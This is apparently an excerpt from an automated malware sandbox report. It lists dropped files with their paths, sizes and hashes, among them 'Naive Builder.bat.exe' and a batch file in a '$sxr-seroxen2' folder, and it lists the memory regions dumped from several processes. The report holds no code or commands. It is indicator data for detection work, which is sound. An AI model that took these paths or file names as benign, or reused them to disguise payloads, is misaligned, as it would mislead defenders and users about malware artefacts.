C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ab99d4ce-b606-45a2-80d7-bd6cedf6761f.tmp

Filesize
10KB

MD5
8c3f6302f7db847d9f2868da0b64097e

SHA1
77b2f4f715881d146cb7053eb5d1cb35ac628499

SHA256
fd5275b6bdaf7c1a142804073bc3a6dcbbea0de9ee538a35600637f7769c900e

SHA512
22221f0ebf3b8792f505b8b6f7b5e213ff0b3d989d1d9a481fcc8e8e03da6fe952b428903748b047ed19678d8dc8d581e6957cca15bed3f68e9a0cbf742de96f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l0elr2kv.sys.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Desktop\Naive Builder.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 600630.crdownload

Filesize
8.9MB

MD5
77bd329d9e4ce7dc9c2b31b3833a6ca0

SHA1
46f6df3fbfdb6359260c4d21e907aa158478be6f

SHA256
cf00bf0d9259ac2976f1eae1a5f2af6306ccaf38d5b4643c0a852b6887073f74

SHA512
b57f24bf82a3fa4c0e7820aa50680f4fa496c741a9c9a2a4ab56f6188a51fc6c325fd439f4f4c683d36115f4aab026176714a75942e543e9919bc10c2c5b510b

Download Submit
C:\Windows\$sxr-seroxen2\$sxr-Uni.bat

Filesize
12.8MB

MD5
a2e3e4286e8b22b3b021a6706b899dd7

SHA1
e6179204735421c3927f27c13f9751af1dce9bd2

SHA256
efd80dd8487437f58413be6e7d2da6ea866ae7626b3225dbf326e8c82c85e580

SHA512
3ff5d19accd1fa6765ffc3554bb9cfe3989eee4cf226c2ce7abbaff47a1586253ab1b408f4f9e47611ea7d2415f3298b12dfada1d1987d43c2efa16aac11e3e8

Download Submit
C:\Windows\System32\ucrtbased.dll

Filesize
160KB

MD5
b5973c00a350d6a33030e17555eec6a6

SHA1
72cc1d4541add2f611e755bd18ae44e34c582531

SHA256
8ef60baf4dea8027a1a253beede5a785601af0bfbc5c3f7f663245996efdac28

SHA512
70edf2ad83046ecd4941769a5272e60972a41ec507e08228503e2eb3e16bf5e1ccbd351aa875cc067eeca3c8ee7841380f10ba95a5e2098edab0bd70f3c31ceb

Download Submit
C:\Windows\System32\vcruntime140_1d.dll

Filesize
52KB

MD5
9ef28981adcbf4360de5f11b8f4ecff9

SHA1
219aaa1a617b1dfa36f3928bd1020e410666134f

SHA256
8caaca1bfc909fcb972ceade7be7b80b5855a4621562ee32a10c9903b616d49a

SHA512
ef7f0b25fae749e6134269683f973fef37dfa1969fa4fa0567378ada073c36da4feb17b62d3282c443f4d3ba8b4aeb39063c607c848ade095880d981141adb9c

Download Submit
C:\Windows\System32\vcruntime140d.dll

Filesize
162KB

MD5
a366d6623c14c377c682d6b5451575e6

SHA1
a8894fcfb3aa06ad073b1f581b2e749b54827971

SHA256
7ed89c668d8ec04c1a0a73f35702b8e0d9819e13e6e7c51c4ac0e0abda6683e6

SHA512
cc7da40652209337d2122cafc903d3c11e31b5a37baf2247034e2f3e1de255e58d0e27fc134ce60a6812e6674fd8bc899f2b434dfc1160053f684cf220e6cb11

Download Submit
memory/348-269-0x000001CE180E0000-0x000001CE180EC000-memory.dmp

Filesize
48KB

Download
memory/348-259-0x000001CE180B0000-0x000001CE180DC000-memory.dmp

Filesize
176KB

Download
memory/348-234-0x000001CE7F590000-0x000001CE7F5B2000-memory.dmp

Filesize
136KB

Download
memory/348-265-0x000001CE28A90000-0x000001CE29B36000-memory.dmp

Filesize
16.6MB

Download
memory/348-266-0x000001CE29B40000-0x000001CE29E2A000-memory.dmp

Filesize
2.9MB

Download
memory/348-267-0x000001CE29E30000-0x000001CE2A0C8000-memory.dmp

Filesize
2.6MB

Download
memory/348-268-0x000001CE185E0000-0x000001CE18638000-memory.dmp

Filesize
352KB

Download
memory/348-260-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

Filesize
2.0MB

Download
memory/348-270-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

Filesize
2.0MB

Download
memory/348-261-0x00007FFEC7640000-0x00007FFEC76FE000-memory.dmp

Filesize
760KB

Download
memory/348-274-0x000001CE18450000-0x000001CE18498000-memory.dmp

Filesize
288KB

Download
memory/620-351-0x0000027A2E420000-0x0000027A2E441000-memory.dmp

Filesize
132KB

Download
memory/620-356-0x00007FFE88430000-0x00007FFE88440000-memory.dmp

Filesize
64KB

Download
memory/620-355-0x0000027A2E840000-0x0000027A2E867000-memory.dmp

Filesize
156KB

Download
memory/668-364-0x0000015A6FBD0000-0x0000015A6FBF7000-memory.dmp

Filesize
156KB

Download
memory/668-367-0x00007FFE88430000-0x00007FFE88440000-memory.dmp

Filesize
64KB

Download
memory/1016-359-0x00007FFE88430000-0x00007FFE88440000-memory.dmp

Filesize
64KB

Download
memory/1016-358-0x0000027E84FF0000-0x0000027E85017000-memory.dmp

Filesize
156KB

Download
memory/1116-273-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/1116-272-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/3080-296-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

Filesize
2.0MB

Download
memory/3080-659-0x00000245FE1E0000-0x00000245FE708000-memory.dmp

Filesize
5.2MB

Download
memory/3080-300-0x00000245FC3B0000-0x00000245FC80C000-memory.dmp

Filesize
4.4MB

Download
memory/3080-332-0x00000245FCF60000-0x00000245FCF9C000-memory.dmp

Filesize
240KB

Download
memory/3080-334-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

Filesize
2.0MB

Download
memory/3080-335-0x00007FFEC7640000-0x00007FFEC76FE000-memory.dmp

Filesize
760KB

Download
memory/3080-333-0x00000245FCCB0000-0x00000245FCCDE000-memory.dmp

Filesize
184KB

Download
memory/3080-311-0x00000245FCF10000-0x00000245FCF60000-memory.dmp

Filesize
320KB

Download
memory/3080-302-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

Filesize
2.0MB

Download
memory/3080-301-0x00000245FC810000-0x00000245FC8C2000-memory.dmp

Filesize
712KB

Download
memory/3080-313-0x00000245FD380000-0x00000245FD542000-memory.dmp

Filesize
1.8MB

Download
memory/3080-312-0x00000245FD020000-0x00000245FD0D2000-memory.dmp

Filesize
712KB

Download
memory/3080-297-0x00007FFEC7640000-0x00007FFEC76FE000-memory.dmp

Filesize
760KB

Download
memory/3080-299-0x00000245FBBF0000-0x00000245FC3AC000-memory.dmp

Filesize
7.7MB

Download
memory/3080-298-0x00000245FB7B0000-0x00000245FBBF2000-memory.dmp

Filesize
4.3MB

Download
memory/3564-349-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/3564-338-0x00007FFEC83B0000-0x00007FFEC85A5000-memory.dmp

Filesize
2.0MB

Download
memory/3564-339-0x00007FFEC7640000-0x00007FFEC76FE000-memory.dmp

Filesize
760KB

Download
memory/3564-336-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/3564-337-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/4000-264-0x00000188D0CF0000-0x00000188D0D38000-memory.dmp

Filesize
288KB

Download
memory/4000-256-0x00000188D0E20000-0x00000188D0E96000-memory.dmp

Filesize
472KB

Download
memory/4000-255-0x00000188D0DD0000-0x00000188D0E14000-memory.dmp

Filesize
272KB

Download